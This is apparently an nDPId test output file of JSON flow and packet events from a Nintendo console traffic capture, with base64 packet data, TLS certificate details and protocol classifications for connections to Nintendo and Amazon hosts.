+02247{"flow_id":8,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":731294,"pkt_caplen":1414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1414,"pkt_l4_len":1380,"pkt":"fLuKifuEAA6OGXEMCABFAAV4Z1dAAPUG+XQ2wBvZwKgMcgG7oi3AHBMY0ixrGYAQAHaU2QAAAQEICqfRaoIAGnGzwWVN09\/JHkCExegWcqI2X92ZdX4kd4jK9pLC6LVSz7jb4M7TG+rK49YI5tz+s5wIo89iOCp8YIohDwbQ96O4l6gvBuqUMxXSVwQrx3Pv7L2IHcrGK8yWgWnVLBXqgxVvDzIhziar2VoBwrae5tUABLUwggSxMIIDmaADAgECAhAE4eek3Fzy823AK0K4XRWfMA0GCSqGSIb3DQEBCwUAMGwxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xKzApBgNVBAMTIkRpZ2lDZXJ0IEhpZ2ggQXNzdXJhbmNlIEVWIFJvb3QgQ0EwHhcNMTMxMDIyMTIwMDAwWhcNMjgxMDIyMTIwMDAwWjBwMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMS8wLQYDVQQDEyZEaWdpQ2VydCBTSEEyIEhpZ2ggQXNzdXJhbmNlIFNlcnZlciBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALbgL8IkBshtBF\/X7wpkBrJ9IiZlFq5CQJvO3J+fdgc+wzBVhxm5T5QOWpQfVVa0wgIqr9CY7gtA18TQO3LIFJ7vkLERqa7SyLhDOtkLC9XVlfVAr8gd7U2cX1e3hlBomfWK2tLHBR+ol8ncpLGChC3GraWcxxmCpoUPXkRYKjeP\/TXxCwgnMlr1u4uepL1R0Cfi3TtCM6MFKMS7KMyarCsjDXjGe+ZecbdKPgj7gbcWFqGdIxJN5deSCKx1pJy6zReyHkQ1ZX9TJTnRHAqaYxsZknRoCjfCwlJIyzlaorbhXcHdoCC4IaKTJm8USiFBx+1tm\/JIL\/MD9aJoklMvXuMCAwEAAaOCAUkwggFFMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBLBgNVHR8ERDBCMECgPqA8hjpodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vRGlnaUNlcnRIaWdoQXNzdXJhbmNlRVZSb290Q0EuY3JsMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMB0GA1UdDgQWBBRRaP+QrwIHdTzM2WVkYqISuFlyOzAfBgNVHSMEGDAWgBSxPsNpA\/i\/RwHUmCYaCALvY2QrwzANBgkqhkiG9w0BAQsFAAOCAQEAGIqViQPmbd9c\/B1o6kqPg9ZRL41rRBaerGP10m5shJmLqoFxhFvtNE6wt3mSKcwtgGrwjiDheaT+A0cT6vWGyllxffQElmvTWVg9\/tMxJVwYOISj5p+C\/YxbmDFOzXieGv2Fy0mq8ieLmXL8PqrVQQva1TahvxxuR0l\/XtlIfAPZ\/YtJoJgmQkDr1pIRpGQKV1TE9R3WAl5rrO7EgJoScvpWk9f\/vzCFBjC\/C39O\/1cFnSTthcMr+6Z1qKwtFu99eSey68KdCwfqqoXTAaMgKEFZQyjSgeOq9ux7O3e2QGKABUFFAe8XBj7ewDObZ9NhLnKH5Gn8EgBXQB5w9R7JtBYDAwFNDAABSQMAF0EEe1Mts9sikAnUSVV+N+UnAw=="} +01166{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":97,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":7,"flow_first_seen":1500731326644,"flow_last_seen":1500731326731,"flow_tot_l4_data_len":3148,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1380,"flow_avg_l4_data_len":449,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"54.192.27.217","src_port":41517,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Nintendo","breed":"Fun","category":"Game"},"tls": {"version":"TLSv1.2","client_requested_server_name":"e0d67c509fb203858ebcb2fe3f88c2aa.baas.nintendo.com","server_names":"*.baas.nintendo.com,baas.nintendo.com","ja3":"200a99534ce50d35cf40cc3cce4c69b5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=JP, ST=Kyoto, L=Minami-ku, O=Nintendo Co., Ltd., CN=*.baas.nintendo.com","fingerprint":"8A:0A:1D:D3:A8:96:7A:55:C5:75:B2:2B:3E:45:15:54:0A:B0:FC:94"}} +00856{"flow_id":8,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":731334,"pkt_caplen":383,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":383,"pkt_l4_len":349,"pkt":"fLuKifuEAA6OGXEMCABFAAFxZ1hAAPUG\/Xo2wBvZwKgMcgG7oi3AHBhc0ixrGYAYAHZCSwAAAQEICqfRaoIAGnGzvjpED3d+ifl8LPLvHMjwxz4I9wOz3Zmh0ZP\/FJuC78ZWJ9gmBbgzMmf3CYpGxV2HBgEBADeMi9\/3AnRg2KaRXT3XiTtU2Ad\/bbZdFEWsdu3ZDKLNm6PhwKAms+disUUupfCl78O8MgGaLjw8rZL7mqFqYFeON2ga0WR7GF9TwsZGS1YmQqg22Qiyk3hBRt3MkvW3cmOKHMd3KtQ29AB+jGFcHbaF994Unkf1cz1Dn0jX5C0mWJuHJ16BfWG5asCgt7NRhbBM2bbkf7GdfL0j4wxIOsjbgcjvtQ+F3V5kZqLijKowzNCR17QbifBtOx\/J128AeaSC7qb4gdxhl9WaDerxrTEqsp43n6tJLJF2wc4c6FpxLihvm2lEFxFHNAPOvhjRHqAiQcsTt5eqeZTUHafxHv0WAwMABA4AAAA="} +00424{"flow_id":8,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":736251,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OGXEMfLuKifuECABFAAA0EXZAAEAGCZvAqAxyNsAb2aItAbvSLGsZwBwYXIAQAeQXKgAAAQEICgAacean0WqC"} +00428{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":765256,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fLuKifuEAA6OGXEMCABFAAA0FZ9AAOUGcZY2uwq5wKgMcgG7vMgz\/J\/ui298tIAQALl4IQAAAQEICgQM35IAGnEJ"} +00426{"flow_id":8,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":836234,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OGXEMfLuKifuECABFAAA0EXdAAEAGCZrAqAxyNsAb2aItAbvSLGsZwBwZmYAQAg4VXwAAAQEICgAackqn0WqC"} +00599{"flow_id":8,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":836486,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AA6OGXEMfLuKifuECABFAACyEXhAAEAGCRvAqAxyNsAb2aItAbvSLGsZwBwZmYAYAg7sQgAAAQEICgAack2n0WqCFgMDAEYQAABCQQR5o29VFj+n7MFp84Wp939EPkZBOtS0XXOzA2v0+S9E64N9sAqOGcHfPR9VHdniXcdK8ncGp2eTtEpRK6JdZKIyFAMDAAEBFgMDACgAAAAAAAAAALHEUzW\/8WrV65g6eoD\/nV41rVGtx6jgL6CNZRXp39So"} +00498{"flow_id":8,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":875578,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"fLuKifuEAA6OGXEMCABFAABnZ1lAAPUG\/oM2wBvZwKgMcgG7oi3AHBmZ0ixrl4AYAHb0QAAAAQEICqfRapEAGnJNFAMDAAEBFgMDACi2I+ltBsLfZhotCOKFkLh8BwbBGvd2mfSn1lyJxur1xqqA+1+M869\/"} +02260{"flow_id":8,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":881408,"pkt_caplen":1414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1414,"pkt_l4_len":1380,"pkt":"AA6OGXEMfLuKifuECABFAAV4EXlAAEAGBFTAqAxyNsAb2aItAbvSLGuXwBwZzIAQAg7TewAAAQEICgAacnqn0WqRFwMDBv4AAAAAAAAAAe6rTQc0juZcZ0jtojx+0MvS2OYaa2NL3cvluTvb0qeLv2zU8zsF\/3KNlf8ThpuercbdkBzre0OrH9D0+\/3y8vllIWjokBjHwdciWYYRdYHsR7VKT7MGIOvP5P0MJLfdPrp5HyqDtqAKED3ewVTk+sWoolh1FdFAcmbksyoXbdvyIxaE3y3ubqP5195zDIUFwyPeqNWrMigpbsfghxt1hSmCL6kgRcZfT66vUmTFjs+7ceOUnxngQuqr7ORM3Z3OIz\/nDRHJ6cVrprbTVXiuLRqHY3YqjC37925xb26oBwRheiz3nEMcNUSGQNn4GXLbP9QjDvebT1IKUSLrZeNJ7GmCaKfrHZBuYVI6NzoRhHBvUcvm4ozdWJjjpAcISH0u8V87+9PVzY+CNTfI8QCM+VS9K74qrvR\/hO\/sXVk4obuNEhDypbRkcx+3\/HZSfDPEeMk7AZ98N5eajo7sdVLvM3\/rm8CsyXxbNvWtH1ekXSZT26T4XfBhD0IZsicnKE+7aY5UES2gD\/dCoqpRplubGIreRzRNO4Q1SMWbpzDGr9acbZ6a3d2yLtUIgheGV+IU\/MiUEvozNRk\/spWL+IoXcetz0SHGb6i6eTxD9R\/nu8FfSOcfE2q9Xr5GWihnwer6xAp+JrU4AT5+UrGrTcE\/d3b3YeOgTNqXN\/n3U8xMxxWD9g4AA++fvK+q7RMwxa3zA27R2rOLa2a+Jli7BqqzIKfGYIywbmBcLhuWoUyAhMmO0GkUsU96eC1QTt2k+pwi\/1V\/RxG6EW2KYnbPw3URdSMJWDXv4D45CZiTjBofgL9XA8dD9+XJGMDlu0G5qjtiaAC2uEROtkqoG3e1dGVIB2L6r67LLHnJ8cIPxber5qgDMJZSiGNrZV6uzmwDKfcbHUP3RTtmCLbwBsUEKZC2q0pTh3PdUSqPXVzUPDYaLF6WDem\/erwlAXbHiy7+FDqNF+OJpu6\/YWnHSxrcuw3xCdn5117Cnq2TWpMYsF5QPsDeKMpPVCks5LF28rhmwUrGUbthXH9+BeKcShrDgoOEF+y4zVVhAie77ryYGFmtUnOZ1n44NZAj0HzxekzfOC6G3DTHuxlET0uPwlue92+7MgaKPSzwInEKdVWQzG7F6XnOztzpaOlI9\/W4ZIkjAODtm3TqfS0wiIh+NEwTYBy70n1qDlBTI41YdGUIr\/OUhGAUBj2SolE6+IJIkI7CtaBjUNRjkrMfhR3xfPKbM3NmAuYR0Cliw2PaeakZJ0OMy5OhBH6KQNA2XQMcywaOUtjTjs72ucANcTEIHbc9jxetPmbnVYyfnWmXDF3dz0hgal44\/fibl3NlzjJPKkCAzvlhIoR4ri5YjYQz0D0ktgLD4M1sdGaxtZ70DO9bb1gusvKNtmmarADLsVjpa0dc15FnXCuTgoeDJfWeuKG0R392fdVqMyL0Zpg3pjMMx\/IW3joTsv0U4QVmAuSmjNQqYW2\/+tJ+hEQL4Z\/2wXioJ7xFDVf3ljyMB2RGGqGXzaV5+cKeSXQjK26IOFxnykgXN49siHCCHZk4MeEnImZTCo0P33R+hEkSGTOGal\/p9cZqbpGkPu+Y9Zq4V5mkwv4qNhdJrXkBl3yg6auLt2plb\/\/KLeakUBFGkUKb9qqszS4bcPrgHhn4wx61+Itz1F6LpESPFphgbbUEANHEslD610HxrESs7fyVSNfLpYboB0axghIAPGyjFtAWNnfU9EdWw8YSToMK8vABhcLDO681\/\/yru8yzwtzx4cUw7JZnozhFXPapxDfsJszG5g=="} +01032{"flow_id":8,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":881490,"pkt_caplen":513,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":513,"pkt_l4_len":479,"pkt":"AA6OGXEMfLuKifuECABFAAHzEXpAAEAGB9jAqAxyNsAb2aItAbvSLHDbwBwZzIAYAg66NwAAAQEICgAacnqn0WqRPC00Ujz0lBxWiSnn6mLr+UVv8JGPrto1uiAFITnL29UDtC3ncXkziv8UMOhs9HMjg1jU7rks3rXJwEXKvYHI6zuvWzvTigQVa6hZWpFm3ej6OCXNI7spwy\/FBTU6L1vbTr4+rHM+Vp6XqKJWFCvb53tx7vGMzaKpxMnpJO0Ul1vIzE+ToYliP7FGYk+JgTxRVvlBJj7EZTsPR7MN5B4oLpx+4qhzPH1NwEpO64+6pfkOiPKxzwGAtQ10pnM5RNcSvl459guCCWPAebXfqoZCMM1rp7vbrgWvp5qg59QnGq5jYoUYZ2JO44DO09OHhGC6nua7nK891BOm6oipHG8frTgGECzzHxFqCySbMhe8j5gSNAnD2B4KaMBCp+K\/BUxV+bN+1bjSjqrfAMypumVzW\/GmRtKFqWsjzrLcGP1jphK94ecuRjS8TOLAl6DBGU\/lMSsenPf3OIq\/53qRcYfpVxfWzf\/jmsvGysC5LOMYfHKnW4qtLu7HuTQXz3mDWFqgprboTwQAf4u0CO9Uo8k16ZLqncFTpqfemFeK5Jl+bKitZtgHmCIlYZRmsSGb8aAiB4C\/W4uaqJPpHuDAoTfK"} +00427{"flow_id":8,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731326,"pkt_ts_usec":915115,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"fLuKifuEAA6OGXEMCABFAAA0Z1pAAPUG\/rU2wBvZwKgMcgG7oi3AHBnM0ixymoAQAIsO6wAAAQEICqfRapUAGnJ6"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":113,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1500731329336,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"54.146.242.74","src_port":11534,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00409{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731329,"pkt_ts_usec":336127,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AA6OGXEMfLuKifuECABFAAAoEX5AAEAGM1vAqAxyNpLySi0OAbv6FA+Od8xLzVAQEsCrFwAA"} +00409{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731329,"pkt_ts_usec":520313,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"fLuKifuEAA6OGXEMCABFAAAo9shAACwGYhA2kvJKwKgMcgG7LQ53zEvN+hQPj1AQn2AedgAA"} +00512{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":115,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1500731326270,"flow_last_seen":0,"flow_tot_l4_data_len":696,"flow_min_l4_data_len":696,"flow_max_l4_data_len":696,"flow_avg_l4_data_len":696,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"52.10.205.177","src_port":52119,"dst_port":34343,"l4_proto":"udp","ndpi": {"proto":"Amazon","breed":"Acceptable","category":"Web"}} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":115,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1500731326270,"flow_last_seen":0,"flow_tot_l4_data_len":696,"flow_min_l4_data_len":696,"flow_max_l4_data_len":696,"flow_avg_l4_data_len":696,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"52.10.205.177","src_port":52119,"dst_port":34343,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":122,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1500731340826,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"35.158.74.61","src_port":55915,"dst_port":33334,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":122,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":826449,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AA6OGXEMfLuKifuECABFAAAsEYIAAEARLkrAqAxyI55KPdprgjYAGGgmAAAAAAAAAAAAAAAAAAAAAA=="} +00418{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":123,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":826602,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AA6OGXEMfLuKifuECABFAAAsEYMAAEARLknAqAxyI55KPdprgjYAGGgmAAAAAAAAAAAAAAAAAAAAAA=="} +00418{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":124,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":826753,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AA6OGXEMfLuKifuECABFAAAsEYQAAEARLkjAqAxyI55KPdprgjYAGGgmAAAAAAAAAAAAAAAAAAAAAA=="} +00418{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":125,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":826892,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AA6OGXEMfLuKifuECABFAAAsEYUAAEARLkfAqAxyI55KPdprgjYAGGgmAAAAAAAAAAAAAAAAAAAAAA=="} +00418{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":126,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":827037,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AA6OGXEMfLuKifuECABFAAAsEYYAAEARLkbAqAxyI55KPdprgjYAGGgmAAAAAAAAAAAAAAAAAAAAAA=="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":127,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1500731340831,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"35.158.74.61","src_port":55915,"dst_port":10025,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00418{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":127,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":831670,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AA6OGXEMfLuKifuECABFAAAsEYcAAEARLkXAqAxyI55KPdprJykAGMLOAAAAZQAAAAAAAAAAAAAAAA=="} +00418{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":128,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":832021,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AA6OGXEMfLuKifuECABFAAAsEYgAAEARLkTAqAxyI55KPdprJykAGMLOAAAAZQAAAAAAAAAAAAAAAA=="} +00418{"flow_id":11,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":129,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":836461,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AA6OGXEMfLuKifuECABFAAAsEYkAAEARLkPAqAxyI55KPdprJykAGMLOAAAAZQAAAAAAAAAAAAAAAA=="} +00418{"flow_id":11,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":130,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":836708,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AA6OGXEMfLuKifuECABFAAAsEYoAAEARLkLAqAxyI55KPdprJykAGMLOAAAAZQAAAAAAAAAAAAAAAA=="} +00418{"flow_id":11,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":131,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":837106,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"AA6OGXEMfLuKifuECABFAAAsEYsAAEARLkHAqAxyI55KPdprJykAGMLOAAAAZQAAAAAAAAAAAAAAAA=="} +00418{"flow_id":11,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":132,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":885391,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"fLuKifuEAA6OGXEMCABFAAAs0wVAADURN8Yjnko9wKgMcicp2msAGPuAAAAAZQAA2muXNqgQrBMBhw=="} +00418{"flow_id":11,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":886285,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"fLuKifuEAA6OGXEMCABFAAAs0wZAADURN8Ujnko9wKgMcicp2msAGPuAAAAAZQAA2muXNqgQrBMBhw=="} +00418{"flow_id":11,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":889561,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"fLuKifuEAA6OGXEMCABFAAAs0whAADURN8Mjnko9wKgMcicp2msAGPuAAAAAZQAA2muXNqgQrBMBhw=="} +00418{"flow_id":11,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":889659,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"fLuKifuEAA6OGXEMCABFAAAs0wlAADURN8Ijnko9wKgMcicp2msAGPuAAAAAZQAA2muXNqgQrBMBhw=="} +00419{"flow_id":11,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":889684,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"fLuKifuEAA6OGXEMCABFAAAs0wpAADURN8Ejnko9wKgMcicp2msAGPuAAAAAZQAA2muXNqgQrBMBhw=="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":137,"source":"nintendo.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1500731340941,"flow_last_seen":0,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":72,"flow_max_l4_data_len":72,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.114","dst_ip":"35.158.74.61","src_port":55915,"dst_port":33335,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"nintendo.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1500731340,"pkt_ts_usec":941838,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AA6OGXEMfLuKifuECABFAABcEYwAAEARLhDAqAxyI55KPdprgjcASL\/4MquYZAEBAADlTwAACP0AEAAAAAAAZU1IBAAAAwAAAABOQVRUZXN0SWRfRHVtbXkAdr5X4NIRIiw3Gy5kQ0UkeA=="} 